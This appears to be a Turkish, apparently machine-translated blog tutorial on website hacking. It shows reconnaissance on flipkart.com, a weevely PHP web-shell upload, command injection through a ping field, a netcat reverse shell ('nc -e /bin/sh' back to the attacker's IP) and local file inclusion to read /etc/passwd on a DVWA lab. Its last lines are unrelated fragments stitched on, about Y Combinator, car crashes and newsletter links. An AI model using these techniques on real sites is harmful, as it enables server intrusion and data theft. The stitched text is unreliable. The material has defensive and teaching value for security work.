Etik hacklemede en önemli şey hedef hakkında bilgi toplamaktır. Bir web sitesi IP adresi, kullanılan teknoloji, kullanılan programlama dilleri gibi çeşitli özelliklerden oluşur. Tüm bu bilgilere sahipsek, o web sitesindeki güvenlik açığını bulmak çok kolay hale gelir.
Whois Lookup, herhangi bir web sitesi hakkında alan adı yardımıyla bilgi almak için kullanılan bir araçtır. Kaydeden kuruluş, IP Adresi, barındırılan web sitesinin Geçmişi vb. Bilgileri gösterir.
Bunu en popüler web sitesi flipkart.com ile deneyelim
. Bağlantı aşağıdaki gibidir:https://whois.domaintools.com/
Sunucu adları, alan adı geçmişi, IP adresi ve IP konumu vb. gibi etki alanı hakkında gösterilen ayrıntılar aşağıdadır.
Bir web sitesinde kullanılan teknolojiler hakkında bilgi almak, bizi onları hacklemenin kolay bir yoluna götürebilir. Sunucu tarafı ve istemci tarafı programlama dilleri ile ilgili bilgiler daha sonraki saldırılar için çok faydalıdır. Tüm bilgiler NetCraft adlı bir araç kullanılarak elde edilebilir.
NetCraft'ın linki:https://sitereport.netcraft.com/
Bu aracı aynı alan adı ile deneyelim, yani flipkart.com
Etki Alanı Adı Sistemi (DNS) sunucusu, genel IP adresleri ve bunlarla ilişkili ana bilgisayar adlarından oluşan bir veritabanını içeren bir bilgisayar sunucusudur ve çoğu durumda bu adların istendiği gibi çözümlenmesine veya IP adreslerine dönüştürülmesine hizmet eder.
DNS sunucusu aslında her biri farklı bir etki alanına veya farklı bir IP'ye, bazen de aynı IP'ye işaret eden bir dizi kayıt içerir. Ancak genel olarak bir alan adı talep ettiğimizde, bir IP adresine dönüştürülür ve buna bağlı olarak bu bilgilerin bir yerde saklanması gerekir. Yani DNS sunucusunu sorgulamak bize çok şey verebilir.
Robtex.com, aynı şeyi yapmamıza yardımcı olan bir web sitesidir.
Robtex'in linki:https://www.robtex.com/
IP adresi, ad sunucusu vb. gibi çoğu şey yukarıda belirtilenlerle aynıdır.
Web siteleri, normal bilgisayarlarda web sunucularına kurulur. Bu normal bilgisayarların IP adresleri vardır ve IP adresi kullanılarak hedef web sitemize erişilebilir. Şimdi, birçok durumda, hedef web sitesi veya hedef sunucu çok sayıda web sitesi içerecektir, bu nedenle aradığımız web sitesine sahip olacaktır, ancak aynı sunucuda başka web siteleri de içerecektir. Hedef web sitemizde herhangi bir güvenlik açığı bulamazsak, aynı sunucuda kurulu olan herhangi bir web sitesini hacklemeyi deneyebiliriz.
Bunu yapabilirsek, sunucuya erişim sağlayabiliriz.
Sunucuya erişim kazanmak, temelde diğer tüm web sitelerine erişimimiz olduğu anlamına gelir, çünkü sunucu sadece bir bilgisayardır ve sadece hacklemek istediğimiz web sitesine gidebilir ve o web sitesine erişebiliriz. Bu nedenle, bir web sitesini hacklemeye çalışırsak ve herhangi bir istismar bulamazsak, bir sonraki adım aynı sunucuda bulunan diğer herhangi bir web sitesini hacklemeye çalışmak olacaktır. Bu nedenle, aynı sunucuda iki web sitesi varsa, aynı IP adresine sahip oldukları anlamına gelir.
Aynısını robtex.com'un paylaşılan seçeneği altında kontrol edebilirsiniz.
Her web sitesinin bir alan adı vardır. Her alan adı, alanın bir dalı olan bir alt alan ile ilişkilendirilir.
Kali linux'ta bulunan Knock'u kullanacağımız çeşitli araçlar mevcuttur.
Bu yüzden sadece komutu çalıştırın
- knockpy "hedef alan"
Aynısını flipkart.com'da yapacağız
Web siteleri genellikle üzerlerine profil resmi veya herhangi bir belge biçiminde dosyalar yüklememize izin verir.
Artık bilgi toplama sayesinde web siteleri tarafından kullanılan dilleri öğrendik. Artık dosya yükleme güvenlik açıklarını kullanarak aynı dilde yazılmış kötü amaçlı kodlarımızı siteye enjekte edebilir ve kolayca hackleyebiliriz.
Weevely'yi Kali Linux'ta
kullanacağız weevely temelde yük oluşturmak ve saldırı gerçekleştirmek için kullanılan bir araçtır.
Yani gerçekleştireceğimiz adımlar
1) Yük oluşturma.
2) Dosya olarak yükleme.
3) Hedef makineye bağlantı oluşturma.
Şimdi herhangi bir normal dosya yerine upload bölümüne bir php dosyası yükleyeceğiz ve bunun bize hedef web sitesi/sunucu ile bağlantı sağlayıp sağlamayacağını öğrenelim. Php dosyasını oluşturmak için weevely kullanacağız
Bu nedenle komut,
"parola (hedef makineden bağlantı alınırken gerekli olacaktır)" "php dosyasını depolamak istediğimiz dizin adı" oluşturur.
Kabuk yükleniyor
weevely kullanarak kabuğu dinlemek
Hedef sunucuya erişim sağlama
Şimdi sunucunun erişimini başarıyla kazandık
Bu tür güvenlik açıkları, hedef sunucuda işletim sistemi kodunu çalıştırmamıza izin verir. Yani hedef sunucu Windows kullanıyorsa Windows komutunu çalıştırabiliriz, eğer Linux kullanıyorsa Linux komutlarını kullanabiliriz.
wget komutunu kullanarak bir PHP kabuğu yükleyebilir veya wget Linux komutunu kullanarak bir yük, virüs, istediğimiz her şeyi yükleyebiliriz.
Sadece bir dosyaya veya bir şeyler yazmamıza izin verilen bir dizine yüklediğimizden emin olmamız gerekiyor. Bu güvenlik açığından yararlanmanın bir başka yolu, yalnızca işletim sistemi komutlarını çalıştırmak ve bir ters kalkan elde etmektir. Bu nedenle, işletim sistemi komutlarını çalıştırabildiğimiz için, bu işletim sistemi tarafından desteklenen programlama dillerini kullanarak bilgisayarımızda ters bir bağlantı kurmaya çalışabiliriz. .
Burada görebildiğimiz gibi, belirli bir IP'ye ping atmamıza izin veriyor, bu da arka planda bir işletim sistemi komutu çalıştırdığı anlamına geliyor.
ping "IP girildi"
Linux'ta noktalı virgülle (;) ayrılmış birden çok komut çalıştırabiliriz.
Yani burada ayrıca, çalışma dizini yazdır diyelim, birden fazla komut çalıştırmayı deneyebiliriz. Yani yeni komutumuz
“IP address” pingi olacak; pwd
Şimdi ping komutu ile bilgisayarımıza ters bağlantı kuracak bir kod parçası ekleyeceğiz.
Ama önce hacker makinemizdeki bağlantıları dinlemeye başlamamız gerekecek. Yani bunun için komut aşağıdaki gibi gider.
nc -vv -l -p 8080(Port numarası)
Ters bağlantı oluşturmak için çeşitli komutlar farklı dillerde mevcuttur. Bu komutu netcat'te yazacağız.
Komut şu şekildedir:
nc -e /bin/sh "Cihazımızın IP adresi" "Cihazımızın bağlantı noktası"
Bu, hedef makinemize başarılı bir bağlantı kurar
Yerel dosya ekleme güvenlik açıkları. Bu açıklar veya güvenlik açıkları, aynı sunucudaki herhangi bir dosyayı okumamıza olanak tanır. Kullanıcılar bir tür önemli dosya veya şifre dosyası depoluyorlarsa, bunları okuyabileceğiz ve oradan hedefimizi daha fazla kullanabiliriz. Ayrıca, aynı sunucuda birkaç web sitesi varsa ve bunu hedeflemediğimiz bir web sitesinde bulmayı başarırsak, hedeflediğimiz web sitesiyle ilgili dosyalara erişebilir ve ardından web sitemizi daha fazla kullanabiliriz. Buradan.
Kali linux'umuzda etc dizininde mevcut makineye giriş yapan tüm kullanıcıları hassas bilgileriyle içeren bir passwd dosyası var.
Şu anda Dosya ekleme bölümünde url diyor
http://192.168.184.128/dvwa/vulnerabilities/fi/?page=include.php
Artık fi dizini içindeyiz
Gerekli passwd dosyamıza erişmek için 'etc' dizinine
gitmemiz gerekiyor Bunun için önce 5 dizine geri dönmemiz ve ardından /etc/passwd dizinine gitmemiz gerekiyor.
Bu tür daha fazla içerik için bu blogu takip edinWeb Sitesi Hackleme — XSS (Çapraz Taraf Komut Dosyası Oluşturma)
Teşekkür ederim !!
Son yazımda, Y Combinator ölçekte toplu iş kalitesi, yıllar içinde YC girişimlerinin sayısındaki çarpıcı artışa ve parti kalitesinin nasıl ayakta kaldığına baktık. Son yıllarda YC Demo Günlerine katılan herkes, uluslararası YC girişimlerinin nasıl bir hale geldiğini de muhtemelen fark etmiştir.
2019'da dur işareti için hiç durmayan başka bir sürücü bana çarptı. Sana ne olduğunu bile söyleyemem.
En son güncellemeleri almak için bizi takip edin.Bülten: https://www.
Giriş: AKIŞ/VOD BAĞLANTISI: https://www.youtube.
Yaklaşık altı yıl önce, 19 Ağustos 2016'da, Portland, Oregon'da on beş yaşındaki Fallon Smart'a hızla giden bir araba çarptı. Başında ve vücudunda ciddi bir travma yaşadı ve birkaç dakika sonra annesinin kollarında öldü.